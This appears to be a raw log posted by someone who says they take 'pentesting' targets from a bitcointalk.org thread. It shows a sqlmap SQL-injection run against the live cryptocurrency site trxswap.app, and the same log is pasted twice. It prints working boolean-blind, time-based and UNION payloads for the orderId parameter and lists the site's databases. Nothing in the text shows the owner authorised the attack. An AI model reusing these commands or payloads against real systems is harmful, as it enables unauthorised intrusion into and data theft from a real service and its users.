Recently grabbing and pentesting targets from bitcointalk.org ( https://bitcointalk.org/index.php?topic=5529510.0 )
sqlmap -u " https://trxswap.app/statusById.php?orderId=aec112a8-bba4-4ba3-95a5-2f1b882088a7 " --batch --level=3 --risk=2 --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.9.8#pip}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Use of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:45:34 /2025-09-06/
[16:45:34] [INFO] testing connection to the target URL
[16:45:36] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:45:37] [INFO] testing if the target URL content is stable
[16:45:38] [INFO] target URL content is stable
[16:45:38] [INFO] testing if GET parameter 'orderId' is dynamic
[16:45:39] [INFO] GET parameter 'orderId' appears to be dynamic
[16:45:40] [WARNING] heuristic (basic) test shows that GET parameter 'orderId' might not be injectable
[16:45:40] [INFO] testing for SQL injection on GET parameter 'orderId'
[16:45:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:45:44] [INFO] GET parameter 'orderId' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:46:01] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n]Y
[16:46:01] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:46:02] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:46:02] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:46:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:46:04] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:46:05] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:46:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:46:06] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:46:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:46:08] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:46:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:46:10] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:46:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[16:46:11] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[16:46:12] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:46:13] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[16:46:13] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[16:46:15] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[16:46:16] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[16:46:16] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[16:46:16] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[16:46:16] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[16:46:16] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[16:46:16] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[16:46:16] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[16:46:16] [INFO] testing 'Generic inline queries'
[16:46:16] [INFO] testing 'MySQL inline queries'
[16:46:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[16:46:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[16:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[16:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[16:46:20] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[16:46:21] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[16:46:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:46:35] [INFO] GET parameter 'orderId' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[16:46:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:46:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:46:37] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:46:43] [INFO] target URL appears to have 20 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]Y
[16:48:37] [INFO] GET parameter 'orderId' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'orderId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]N
sqlmap identified the following injection point(s) with a total of 187 HTTP(s) requests:
---
Parameter: orderId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: orderId=aec112a8-bba4-4ba3-95a5-2f1b882088a7' AND 6522=6522-- fkMr
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: orderId=aec112a8-bba4-4ba3-95a5-2f1b882088a7' AND (SELECT 3684 FROM (SELECT(SLEEP(5)))kKJE)-- isNh
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: orderId=-4134' UNION ALL SELECT 53,53,53,53,CONCAT(0x71786b6b71,0x4965774170786b6f706a7865785878764773714b62545a424d436 b7a73495a5561494c7551447368,0x7176706a71),53,53,53,53,53,53,53,53,53,53,53,53,53,53,53-- -
---
[16:48:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.24.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:48:38] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sys
[*] trxswap
sqlmap -u " https://trxswap.app/statusById.php?orderId=aec112a8-bba4-4ba3-95a5-2f1b882088a7 " --batch --level=3 --risk=2 --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.9.8#pip}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Use of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:45:34 /2025-09-06/
[16:45:34] [INFO] testing connection to the target URL
[16:45:36] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:45:37] [INFO] testing if the target URL content is stable
[16:45:38] [INFO] target URL content is stable
[16:45:38] [INFO] testing if GET parameter 'orderId' is dynamic
[16:45:39] [INFO] GET parameter 'orderId' appears to be dynamic
[16:45:40] [WARNING] heuristic (basic) test shows that GET parameter 'orderId' might not be injectable
[16:45:40] [INFO] testing for SQL injection on GET parameter 'orderId'
[16:45:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:45:44] [INFO] GET parameter 'orderId' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:46:01] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n]Y
[16:46:01] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:46:02] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:46:02] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:46:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:46:04] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:46:05] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:46:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:46:06] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:46:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:46:08] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:46:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:46:10] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:46:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[16:46:11] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[16:46:12] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:46:13] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[16:46:13] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[16:46:15] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[16:46:16] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[16:46:16] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[16:46:16] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[16:46:16] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[16:46:16] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[16:46:16] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[16:46:16] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[16:46:16] [INFO] testing 'Generic inline queries'
[16:46:16] [INFO] testing 'MySQL inline queries'
[16:46:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[16:46:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[16:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[16:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[16:46:20] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[16:46:21] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[16:46:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:46:35] [INFO] GET parameter 'orderId' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[16:46:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:46:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:46:37] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:46:43] [INFO] target URL appears to have 20 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]Y
[16:48:37] [INFO] GET parameter 'orderId' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'orderId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]N
sqlmap identified the following injection point(s) with a total of 187 HTTP(s) requests:
---
Parameter: orderId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: orderId=aec112a8-bba4-4ba3-95a5-2f1b882088a7' AND 6522=6522-- fkMr
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: orderId=aec112a8-bba4-4ba3-95a5-2f1b882088a7' AND (SELECT 3684 FROM (SELECT(SLEEP(5)))kKJE)-- isNh
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: orderId=-4134' UNION ALL SELECT 53,53,53,53,CONCAT(0x71786b6b71,0x4965774170786b6f706a7865785878764773714b62545a424d436 b7a73495a5561494c7551447368,0x7176706a71),53,53,53,53,53,53,53,53,53,53,53,53,53,53,53-- -
---
[16:48:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.24.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:48:38] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sys
[*] trxswap